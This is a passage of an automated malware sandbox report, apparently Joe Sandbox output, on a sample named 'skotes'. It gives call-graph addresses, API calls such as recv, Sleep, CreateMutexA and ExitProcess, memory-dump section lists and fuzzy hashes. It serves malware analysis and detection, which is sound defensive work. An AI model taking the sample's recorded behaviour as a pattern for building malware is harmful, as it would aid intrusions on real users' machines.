a9c6ac GetSystemTimePreciseAsFileTime 10211->10218 10214 a82f12 10213->10214 10215 a8301e 10214->10215 10219 a82f1d __Mtx_unlock 10214->10219 10216 a9c26a 4 API calls 10215->10216 10217 a83024 10216->10217 10220 a9c26a 4 API calls 10217->10220 10221 a82fb9 10218->10221 10219->10217 10222 a82f6f 10219->10222 10220->10221 10223 a9c26a 4 API calls 10221->10223 10224 a82fc0 __Mtx_unlock 10221->10224 10222->10209 10222->10212 10223->10224 10225 a9c26a 4 API calls 10224->10225 10226 a82fd8 __Cnd_broadcast 10224->10226 10225->10226 10226->10212 10227 a9c26a 4 API calls 10226->10227 10228 a8303c 10227->10228 10229 a9c6ac GetSystemTimePreciseAsFileTime 10228->10229 10237 a83080 shared_ptr __Mtx_unlock 10229->10237 10230 a831c5 10231 a9c26a 4 API calls 10230->10231 10232 a831cb 10231->10232 10233 a9c26a 4 API calls 10232->10233 10234 a831d1 10233->10234 10235 a9c26a 4 API calls 10234->10235 10243 a83193 __Mtx_unlock 10235->10243 10236 a831a7 __floor_pentium4 10237->10230 10237->10232 10237->10236 10240 a83132 GetCurrentThreadId 10237->10240 10238 a9c26a 4 API calls 10239 a831dd 10238->10239 10240->10236 10241 a8313b 10240->10241 10241->10236 10242 a9c6ac GetSystemTimePreciseAsFileTime 10241->10242 10245 a8315f 10242->10245 10243->10236 10243->10238 10244 a9bd4c GetSystemTimePreciseAsFileTime 10244->10245 10245->10230 10245->10234 10245->10243 10245->10244 10246 a8e0c0 recv 10247 a8e122 recv 10246->10247 10248 a8e157 recv 10247->10248 10250 a8e191 10248->10250 10249 a8e2b3 __floor_pentium4 10250->10249 10251 a9c6ac GetSystemTimePreciseAsFileTime 10250->10251 10252 a8e2ee 10251->10252 10253 a9c26a 4 API calls 10252->10253 10254 a8e358 10253->10254 10273 a82e00 10274 a82e28 10273->10274 10275 a9c68b __Mtx_init_in_situ 2 API calls 10274->10275 10276 a82e33 10275->10276 10339 a88980 10341 a88aea 10339->10341 10342 a889d8 shared_ptr 10339->10342 10340 a85c10 3 API calls 10340->10342 10342->10340 10342->10341 10509 a89f44 10511 a89f4c shared_ptr 10509->10511 10510 a8a953 Sleep CreateMutexA 10513 a8a98e 10510->10513 10511->10510 10512 a8a01f shared_ptr 10511->10512 10255 a9d0c7 10256 a9d0d7 10255->10256 10257 a9d17b RtlWakeAllConditionVariable 10256->10257 10258 a9d17f 10256->10258 10310 a83c47 10311 a83c51 10310->10311 10313 a832d0 5 API calls 10311->10313 10314 a83c5f 10311->10314 10312 a83c68 10313->10314 10314->10312 10315 a83810 3 API calls 10314->10315 10316 a83cdb shared_ptr 10315->10316 10317 ab6a44 10318 ab6a5c 10317->10318 10319 ab6a52 10317->10319 10322 ab698d 10318->10322 10321 ab6a76 ___free_lconv_mon 10323 ab690a __cftof 3 API calls 10322->10323 10324 ab699f 10323->10324 10324->10321 10514 a8215a 10515 a9c6fc InitializeCriticalSectionEx 10514->10515 10516 a82164 10515->10516 10259 a89adc 10260 a89aea 10259->10260 10264 a89afe shared_ptr 10259->10264 10261 a8a917 10260->10261 10260->10264 10262 a8a953 Sleep CreateMutexA 10261->10262 10263 a8a98e 10262->10263 10265 a85c10 3 API calls 10264->10265 10266 a89b7c 10265->10266 10267 a88b30 3 API calls 10266->10267 10268 a89b8d 10267->10268 10269 a85c10 3 API calls 10268->10269 10270 a89cb1 10269->10270 10271 a88b30 3 API calls 10270->10271 10272 a89cc2 10271->10272 10343 a83f9f 10344 a83fad 10343->10344 10346 a83fb6 10343->10346 10345 a82410 4 API calls 10344->10345 10345->10346 10347 a82b90 10348 a82bce 10347->10348 10351 a9b7fb 10348->10351 10350 a82bdb shared_ptr __floor_pentium4 10352 a9b817 10351->10352 10353 a9b807 10351->10353 10352->10350 10353->10352 10355 a9ca78 10353->10355 10356 a9ca8d TpReleaseWork 10355->10356 10356->10352 10455 a9d111 10456 a9d122 10455->10456 10457 a9d12a 10456->10457 10459 a9d199 10456->10459 10460 a9d1a7 SleepConditionVariableCS 10459->10460 10462 a9d1c0 10459->10462 10460->10462 10462->10456 10463 a82b10 10464 a82b1a 10463->10464 10465 a82b1c 10463->10465 10466 a9c26a 4 API calls 10465->10466 10467 a82b22 10466->10467 9718 a8a856 9719 a8a870 9718->9719 9722 a8a892 shared_ptr 9718->9722 9720 a8a953 Sleep CreateMutexA 9719->9720 9719->9722 9721 a8a98e 9720->9721

                                                                                                                                                                                                                                                              Executed Functions

                                                                                                                                                                                                                                                              Function 00AB652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 342 ab652b-ab6538 call aba302 345 ab655a-ab656c call ab656d ExitProcess 342->345 346 ab653a-ab6548 GetPEB 342->346 346->345 347 ab654a-ab6559 346->347 347->345
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • ExitProcess.KERNEL32(?,?,00AB652A,?,?,?,?,?,00AB7661), ref: 00AB6567
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000003.00000002.2216554116.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216533682.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216554116.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216644171.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216672873.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216699415.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216851528.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216880066.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216966721.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216999363.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217042298.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217070076.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217097986.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217125215.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217159702.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217181229.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217217630.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217247989.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217275963.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217310215.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217346819.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217377547.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217413032.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217443901.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217477893.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217515344.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217618558.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217656034.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217684215.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217711519.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217739309.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217759529.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217803472.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217900302.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217926279.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217956926.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217982404.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218007549.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218035471.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218059060.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218083151.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_3_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ExitProcess
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 621844428-0
                                                                                                                                                                                                                                                              • Opcode ID: d0ad0fce466ee91fae970256d5be8d74f94f189d72eac2c98fe08666002949dd
                                                                                                                                                                                                                                                              • Instruction ID: bfdf6b26b853b7e81244f7d61754609253c623d202582dfe46322f2f8baa8239
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d0ad0fce466ee91fae970256d5be8d74f94f189d72eac2c98fe08666002949dd
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C1E08C30101108AFCE3ABB58C96DBCD3B6DEB51745F000A01FD189A623CB2AED91CA80
                                                                                                                                                                                                                                                              Function 00A89BA5 Relevance: 3.1, APIs: 2, Instructions: 140sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000003.00000002.2216554116.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216533682.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216554116.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216644171.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216672873.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216699415.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216851528.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216880066.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216966721.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216999363.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217042298.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217070076.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217097986.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217125215.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217159702.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217181229.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217217630.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217247989.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217275963.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217310215.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217346819.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217377547.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217413032.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217443901.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217477893.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217515344.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217618558.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217656034.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217684215.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217711519.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217739309.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217759529.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217803472.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217900302.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217926279.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217956926.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217982404.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218007549.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218035471.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218059060.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218083151.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_3_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: df27be91b6abd5b04e4a87e33c828251d79f6811c7e91ab8afe9238ead2600a1
                                                                                                                                                                                                                                                              • Instruction ID: 4f60e0c3d6a3dd4f407217a75da7564c53cae42da4d19e58fa8ae5fde2e1487e
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: df27be91b6abd5b04e4a87e33c828251d79f6811c7e91ab8afe9238ead2600a1
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: E83126717042049BEF0CFBB8DD8D7BEB7B2EB96310F248219E054972D6C77A99808752
                                                                                                                                                                                                                                                              Function 00A89F44 Relevance: 3.1, APIs: 2, Instructions: 137sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 22 a89f44-a89f64 26 a89f92-a89fae 22->26 27 a89f66-a89f72 22->27 28 a89fdc-a89ffb 26->28 29 a89fb0-a89fbc 26->29 30 a89f88-a89f8f call a9d663 27->30 31 a89f74-a89f82 27->31 36 a8a029-a8a916 call a980c0 28->36 37 a89ffd-a8a009 28->37 34 a89fbe-a89fcc 29->34 35 a89fd2-a89fd9 call a9d663 29->35 30->26 31->30 32 a8a92b 31->32 39 a8a953-a8a994 Sleep CreateMutexA 32->39 40 a8a92b call ab6c6a 32->40 34->32 34->35 35->28 43 a8a00b-a8a019 37->43 44 a8a01f-a8a026 call a9d663 37->44 51 a8a996-a8a998 39->51 52 a8a9a7-a8a9a8 39->52 40->39 43->32 43->44 44->36 51->52 54 a8a99a-a8a9a5 51->54 54->52
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000003.00000002.2216554116.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216533682.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216554116.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216644171.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216672873.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216699415.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216851528.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216880066.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216966721.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216999363.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217042298.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217070076.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217097986.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217125215.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217159702.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217181229.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217217630.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217247989.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217275963.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217310215.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217346819.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217377547.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217413032.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217443901.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217477893.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217515344.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217618558.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217656034.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217684215.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217711519.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217739309.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217759529.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217803472.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217900302.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217926279.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217956926.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217982404.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218007549.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218035471.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218059060.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218083151.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_3_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 48c1c87ff03f8529605941b43419d16591c5b7daef24ccf0d28bb4a97e087fb1
                                                                                                                                                                                                                                                              • Instruction ID: 8e079c624cc150a8cb67b868b09ccb4392dca78e514c7eab166aa5a51f909fea
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 48c1c87ff03f8529605941b43419d16591c5b7daef24ccf0d28bb4a97e087fb1
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 583126317042049BEF0CFBA8DD897BDB7B2EB96310F244619E158EB2D1C73A99808752
                                                                                                                                                                                                                                                              Function 00A8A079 Relevance: 3.1, APIs: 2, Instructions: 136sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 56 a8a079-a8a099 60 a8a09b-a8a0a7 56->60 61 a8a0c7-a8a0e3 56->61 62 a8a0a9-a8a0b7 60->62 63 a8a0bd-a8a0c4 call a9d663 60->63 64 a8a111-a8a130 61->64 65 a8a0e5-a8a0f1 61->65 62->63 66 a8a930 62->66 63->61 70 a8a15e-a8a916 call a980c0 64->70 71 a8a132-a8a13e 64->71 68 a8a0f3-a8a101 65->68 69 a8a107-a8a10e call a9d663 65->69 74 a8a953-a8a994 Sleep CreateMutexA 66->74 75 a8a930 call ab6c6a 66->75 68->66 68->69 69->64 77 a8a140-a8a14e 71->77 78 a8a154-a8a15b call a9d663 71->78 85 a8a996-a8a998 74->85 86 a8a9a7-a8a9a8 74->86 75->74 77->66 77->78 78->70 85->86 88 a8a99a-a8a9a5 85->88 88->86
                                                                                                                                                                                                                                                              APIs
